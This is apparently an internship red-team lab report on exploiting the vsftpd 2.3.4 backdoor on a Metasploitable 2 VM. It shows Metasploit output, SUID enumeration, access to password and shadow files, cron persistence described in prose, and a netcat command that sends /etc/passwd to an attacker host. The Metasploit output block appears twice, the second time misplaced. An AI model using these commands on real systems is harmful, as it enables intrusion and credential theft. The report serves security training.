Red Team Assessment Report

Organization: CyberSter

Department: Red Team (Offensive Security)

Intern Name: Aisha Nazir

Role: Red Team Intern

Target System: Metasploitable 2 (Linux-based)

Date: April 2026

1. Executive Summary

This report documents the post-exploitation activities performed during the **Week 5** internship tasks at **CyberSter**. After gaining initial access via the VSFTPD backdoor, the objective was to perform advanced Red Team operations, including privilege escalation, persistence establishment, and sensitive data exfiltration.

2. Task 01: Privilege Escalation

After gaining a shell, the first priority was to verify the level of access. By exploiting a known vulnerability, we successfully achieved **root-level** privileges.

- **Activity:** Verification of administrative rights and identification of SUID files.
- **Methodology:** Executed `whoami` to confirm root status and used `find / -perm -4000` to list binaries with the SUID bit set, which could be used for further escalation.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.0.0.65
RHOST => 172.0.0.65
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 172.0.0.65:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.0.0.65:21 - USER: 331 Please specify the password.
[+] 172.0.0.65:21 - Backdoor service has been spawned, handling...
[+] 172.0.0.65:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.0.0.81:38199 -> 172.0.0.65:6200) at 2026-04-21 05:25:02 -0400

whoami
root
sudo -l
User root may run the following commands on this host:
    (ALL) ALL
find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
```

3. Task 03: Establishing Persistence

In a real-world Red Team engagement for **CyberSter**, maintaining access is crucial. Persistence ensures that we can reconnect to the target even if the system reboots or the initial exploit is patched.

- **Mechanism:** Scheduled Tasks via Cron Jobs.

- **Action:** Analyzed the `/etc/crontab` file. By adding a reverse shell entry to this file, the target system is configured to automatically connect back to the attacker's machine at specified intervals.

```
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
```

4. Task 04: Post-Exploitation & Data Exfiltration

Once full control was established, the focus shifted to the primary objective: stealing sensitive organizational data.

A. Credential Harvesting (User Discovery)

We accessed the `/etc/passwd` file to map out all system users. This information is vital for lateral movement and targeted brute-force attacks.

B. Sensitive Information Gathering

We successfully accessed the `/etc/shadow` file, which contains encrypted password hashes. In a professional scenario, these hashes would be moved to an offline cracker like "John the Ripper."

C. Data Exfiltration via Netcat (nc)

To simulate the theft of data, we used **Netcat** to transfer the `/etc/passwd` file from the compromised target to the CyberSter attacker machine (Kali Linux).

- **Attacker (Kali) Listener:** `nc -lvnp 1234 > exfiltrated_data.txt`
- **Target (Compromised) Sender:** `nc [Kali_IP] 1234 < /etc/passwd`

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.0.0.65
RHOST => 172.0.0.65
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 172.0.0.65:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.0.0.65:21 - USER: 331 Please specify the password.
[+] 172.0.0.65:21 - Backdoor service has been spawned, handling...
[+] 172.0.0.65:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.0.0.81:38199 -> 172.0.0.65:6200) at 2026-04-21 05:25:02 -0400

whoami
root
sudo -l
User root may run the following commands on this host:
    (ALL) ALL
find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
```

5. Conclusion & Remediation

The assessment conducted by the **CyberSter Red Team** revealed critical security flaws:

1. **Vulnerable Services:** The presence of an outdated VSFTPD service allows for immediate root compromise.
2. **Insecure Persistence:** The ability for a non-privileged user to read or modify system-wide cron jobs (if misconfigured) allows for permanent backdoors.
3. **Data Security:** Sensitive files like `/etc/shadow` must be strictly protected with proper file permissions.

Recommendations: * Immediately patch or disable the VSFTPD 2.3.4 service.

- Implement a Least Privilege policy for all system users.
- Monitor system logs for unusual outbound network connections (Netcat usage).

Report Prepared By: Aisha Nazir Red Team Intern, CyberSter